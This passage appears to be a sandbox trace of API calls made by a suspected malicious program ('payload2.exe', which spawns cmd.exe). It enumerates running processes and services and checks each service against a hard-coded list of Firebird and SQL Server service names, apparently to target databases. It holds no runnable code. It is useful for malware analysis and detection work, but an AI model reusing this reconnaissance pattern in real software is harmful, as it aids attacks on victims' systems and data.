	[0197.827] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0197.827] lstrlenW (lpString="services.exe") returned 12
	[0197.827] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0197.827] lstrlenW (lpString="lsass.exe") returned 9
	[0197.828] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0197.828] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0197.828] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0197.828] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0197.829] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.829] lstrlenW (lpString="svchost.exe") returned 11
	[0197.829] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.829] lstrlenW (lpString="svchost.exe") returned 11
	[0197.830] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0197.830] lstrlenW (lpString="dwm.exe") returned 7
	[0197.830] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.831] lstrlenW (lpString="svchost.exe") returned 11
	[0197.831] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.831] lstrlenW (lpString="svchost.exe") returned 11
	[0197.831] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.832] lstrlenW (lpString="svchost.exe") returned 11
	[0197.832] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.832] lstrlenW (lpString="svchost.exe") returned 11
	[0197.832] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.833] lstrlenW (lpString="svchost.exe") returned 11
	[0197.833] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.833] lstrlenW (lpString="svchost.exe") returned 11
	[0197.833] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.834] lstrlenW (lpString="svchost.exe") returned 11
	[0197.834] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.834] lstrlenW (lpString="svchost.exe") returned 11
	[0197.834] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.835] lstrlenW (lpString="svchost.exe") returned 11
	[0197.835] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.835] lstrlenW (lpString="svchost.exe") returned 11
	[0197.835] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0197.836] lstrlenW (lpString="spoolsv.exe") returned 11
	[0197.836] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.836] lstrlenW (lpString="svchost.exe") returned 11
	[0197.836] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0197.837] lstrlenW (lpString="audiodg.exe") returned 11
	[0197.837] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0197.837] lstrlenW (lpString="sihost.exe") returned 10
	[0197.837] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0197.838] lstrlenW (lpString="svchost.exe") returned 11
	[0197.838] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0197.838] lstrlenW (lpString="taskhostw.exe") returned 13
	[0197.838] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0197.839] lstrlenW (lpString="msoia.exe") returned 9
	[0197.839] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0197.839] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0197.839] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0197.840] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0197.840] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0197.840] lstrlenW (lpString="Memory Compression") returned 18
	[0197.840] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0197.841] lstrlenW (lpString="explorer.exe") returned 12
	[0197.841] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0197.841] lstrlenW (lpString="SearchUI.exe") returned 12
	[0197.841] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0197.842] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0197.842] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0197.842] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0197.842] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0197.843] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0197.843] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0197.843] lstrlenW (lpString="payload2.exe") returned 12
	[0197.843] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0197.844] lstrlenW (lpString="cmd.exe") returned 7
	[0197.844] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0197.844] lstrlenW (lpString="conhost.exe") returned 11
	[0197.844] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0197.845] lstrlenW (lpString="dllhost.exe") returned 11
	[0197.845] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0197.845] CloseHandle (hObject=0x510) returned 1
	[0197.845] Sleep (dwMilliseconds=0x1f4) 
	[0198.490] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x667e80
	[0198.491] EnumServicesStatusExW (in: hSCManager=0x667e80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0198.492] GetLastError () returned 0xea
	[0198.492] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bc4) returned 0x4470140
	[0198.492] EnumServicesStatusExW (in: hSCManager=0x667e80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4470140, cbBufSize=0x1bc4, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4470140, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0198.493] CloseServiceHandle (hSCObject=0x667e80) returned 1
	[0198.493] lstrlenW (lpString="Appinfo") returned 7
	[0198.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0198.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0198.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0198.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0198.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0198.493] lstrlenW (lpString="AppXSvc") returned 7
	[0198.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0198.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0198.494] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0198.494] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0198.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0198.494] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0198.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0198.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0198.494] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0198.494] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0198.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0198.494] lstrlenW (lpString="Audiosrv") returned 8
	[0198.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0198.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0198.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0198.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0198.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0198.494] lstrlenW (lpString="BFE") returned 3
	[0198.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0198.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0198.494] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0198.494] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0198.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0198.494] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0198.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0198.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0198.494] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0198.494] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0198.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0198.494] lstrlenW (lpString="CDPSvc") returned 6
	[0198.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0198.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0198.494] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0198.495] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0198.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0198.495] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0198.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0198.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0198.495] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0198.495] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0198.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0198.495] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0198.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0198.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0198.495] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0198.495] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0198.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0198.495] lstrlenW (lpString="CryptSvc") returned 8
	[0198.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0198.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0198.495] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0198.495] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0198.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0198.495] lstrlenW (lpString="DcomLaunch") returned 10
	[0198.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0198.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0198.495] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0198.495] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0198.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0198.495] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0198.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0198.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0198.495] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0198.495] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0198.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0198.495] lstrlenW (lpString="Dhcp") returned 4
	[0198.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0198.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0198.496] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0198.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0198.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0198.496] lstrlenW (lpString="Dnscache") returned 8
	[0198.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0198.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0198.496] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0198.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0198.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0198.496] lstrlenW (lpString="DPS") returned 3
	[0198.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0198.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0198.496] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0198.496] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0198.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0198.496] lstrlenW (lpString="DusmSvc") returned 7
	[0198.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0198.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0198.496] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0198.496] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0198.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0198.496] lstrlenW (lpString="EventLog") returned 8
	[0198.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0198.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0198.496] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0198.496] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0198.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0198.496] lstrlenW (lpString="EventSystem") returned 11
	[0198.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0198.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0198.497] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0198.497] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0198.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0198.497] lstrlenW (lpString="FontCache") returned 9
	[0198.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0198.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0198.497] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0198.497] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0198.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0198.497] lstrlenW (lpString="gpsvc") returned 5
	[0198.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0198.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0198.497] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0198.497] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0198.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0198.497] lstrlenW (lpString="iphlpsvc") returned 8
	[0198.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0198.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0198.497] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0198.497] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0198.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0198.497] lstrlenW (lpString="KeyIso") returned 6
	[0198.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0198.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0198.497] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0198.497] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0198.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0198.497] lstrlenW (lpString="LanmanServer") returned 12
	[0198.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0198.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0198.497] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0198.497] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0198.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0198.498] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0198.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0198.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
